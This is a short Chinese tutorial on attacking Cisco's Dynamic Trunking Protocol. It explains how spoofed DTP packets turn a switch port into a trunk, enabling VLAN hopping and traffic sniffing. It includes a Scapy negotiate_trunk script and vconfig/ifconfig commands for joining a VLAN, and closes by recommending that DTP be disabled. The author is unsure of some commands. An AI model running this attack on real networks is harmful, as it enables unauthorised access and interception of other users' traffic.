DTP协议攻击
DTP协议
动态中继协议DTP(Dynamic Trunking Protocol)是一种Cisco私有协议。DTP用于两台交换机的直连二层端口探测对端的配置,自动协商出二层端口的链路类型和以太网封装进而与对端自适应。这样当对端修改时,就不用手工修改本端配置,通过协议自适应更改即可。DTP的重要作用是,在组网不确定的情况下,可以实现即插即用;修改网络拓扑时,也不用手工修改二层端口的配置。
DTP利用第二层中继帧,在两台交换机的直连端口之间进行通信。DTP报文仅限于两个直连端口之间的通信,维护两个直连端口的链路类型和以太网封装类型。
如果交换机开启了DTP协议,攻击者假冒交换机向目标交换机发送Dynamic desirable数据包,那么会把目标端口变成Trunking端口,这意味着我们可以通过修改本机配置进入任何一个VLAN,同时可以VLAN跳跃攻击方式,监听所有数据。
发送Dynamic desirable数据包
在Scapy.contrib.dtp包中有一个negotiate_trunk方法,原型如下:
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
print "Trying to negotiate a trunk on interface %s" %iface
p = Dot3(src=mymac, dst='01:00:0c:cc:cc:cc')/LLC()/SNAP()/
DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
sendp(p)
该方法第一个参数需要我们传入发送数据包的网卡,第二个是可选参数,可以用来传入要假冒的交换机的MAC地址。
如果不传入,会随机产生一个。
#!/usr/bin/python import sys from scapy.layer2.l2 import Dot3,LLC,SNAP from scapy.contrib.dtp import * if len(sys.argv) < 2: print sys.argv[0] + " <dev>" sys.exit() negotiate_trunk(iface=sys.argv[1])
数据包发送之后,会有一些延迟才会生效。(注意)
如下命令(具体还不确定是干什么呢):--------好像是修改本机配置,进入一个vlan
vconfig add eth0 <vlan-id>
ifconfig eth0.<vlan-id> <ip_of_vlan> up
建议:最好关掉DTP协议。